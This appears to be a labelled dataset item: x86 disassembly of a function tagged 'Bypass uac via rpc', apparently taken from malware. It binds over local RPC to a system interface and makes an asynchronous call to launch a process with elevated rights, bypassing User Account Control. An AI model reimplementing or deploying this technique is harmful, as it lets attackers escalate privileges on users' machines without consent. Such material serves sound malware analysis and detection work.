Function at 0x10007970
Capabilities:
Bypass uac via rpc

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xcc
push ebx
push esi
mov esi, dword [ebp + 0x24]
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], ecx
mov byte [ebp - 1], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
push edi
test esi, esi
je 0x100079b6
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
mov ecx, 0x10
lea eax, [ebp - 0x30]
nop
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x100079c0
mov ecx, 0x30
lea eax, [ebp - 0xc8]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x100079d6
xor eax, eax
mov dword [ebp - 0xa8], 1
mov word [ebp - 0xa4], ax
mov ecx, 0x44
lea eax, [ebp - 0x98]
nop
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x10007a00
mov dword [ebp - 8], ecx
lea eax, [ebp - 0x4c]
mov dword [ebp + 0x24], ecx
mov dword [ebp - 0xc], ecx
mov ecx, 0x1c
mov dword [ebp - 0x10], 0x44
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x10007a23
lea eax, [ebp - 8]
push eax
push ecx
push ecx
push ecx
push str.ncalrpc
push str.201ef99a_7fa0_444c_9399_19ba84f12a1a
call dword [sym.imp.RPCRT4.dll_RpcStringBindingComposeW]
mov edi, eax
test edi, edi
jne 0x10007af0
lea eax, [ebp + 0x24]
push eax
push dword [ebp - 8]
call dword [sym.imp.RPCRT4.dll_RpcBindingFromStringBindingW]
mov edi, eax
lea eax, [ebp - 8]
push eax
call dword [sym.imp.RPCRT4.dll_RpcStringFreeW]
test edi, edi
jne 0x10007af0
push dword [ebp - 0x10]
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebx, eax
test ebx, ebx
je 0x10007aeb
lea eax, [ebp - 0x10]
push eax
push ebx
push edi
push 0x16
call dword [sym.imp.ADVAPI32.dll_CreateWellKnownSid]
test eax, eax
je 0x10007ada
lea eax, [ebp - 0x4c]
mov dword [ebp - 0x4c], 3
push eax
push edi
push edi
push 0xa
push 6
push edi
push dword [ebp + 0x24]
mov dword [ebp - 0x40], 3
mov dword [ebp - 0x48], 1
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x34], ebx
call dword [sym.imp.RPCRT4.dll_RpcBindingSetAuthInfoExW]
mov edi, eax
test edi, edi
jne 0x10007ae2
mov eax, dword [ebp + 0x24]
push ebx
mov dword [ebp - 0xc], eax
mov dword [ebp + 0x24], edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x10007af0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
push ebx
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x10007af0
mov edi, 8
cmp dword [ebp + 0x24], 0
mov ebx, dword [sym.imp.RPCRT4.dll_RpcBindingFree]
je 0x10007b02
lea eax, [ebp + 0x24]
push eax
call ebx
test edi, edi
jne 0x10007bef
push 0x44
lea eax, [ebp - 0x98]
push eax
call dword [sym.imp.RPCRT4.dll_RpcAsyncInitializeHandle]
test eax, eax
jne 0x10007bef
push eax
push eax
push eax
push eax
mov dword [ebp - 0x78], 1
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x74], eax
test eax, eax
jne 0x10007b47
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x10007bef
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x30]
push eax
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0xc8]
push eax
push str.WinSta0Default
push 0x10075740
push 0x401
push dword [ebp + 8]
lea eax, [ebp - 0x98]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0xc]
push eax
call fcn.100012a0
add esp, 0x34
push 0xffffffffffffffff
push dword [ebp - 0x74]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0xffffffff
jne 0x10007b9b
push eax
call dword [sym.imp.RPCRT4.dll_RpcRaiseException]
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x98]
push eax
call dword [sym.imp.RPCRT4.dll_RpcAsyncCompleteCall]
test eax, eax
jne 0x10007bd4
cmp dword [ebp - 0x14], eax
jne 0x10007bd4
test esi, esi
je 0x10007bd0
mov eax, dword [ebp - 0x30]
mov dword [esi], eax
mov eax, dword [ebp - 0x2c]
mov dword [esi + 4], eax
mov eax, dword [ebp - 0x28]
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x24]
mov dword [esi + 0xc], eax
mov byte [ebp - 1], 1
mov eax, dword [ebp - 0x74]
test eax, eax
je 0x10007be9
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x74], 0
lea eax, [ebp - 0xc]
push eax
call ebx
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret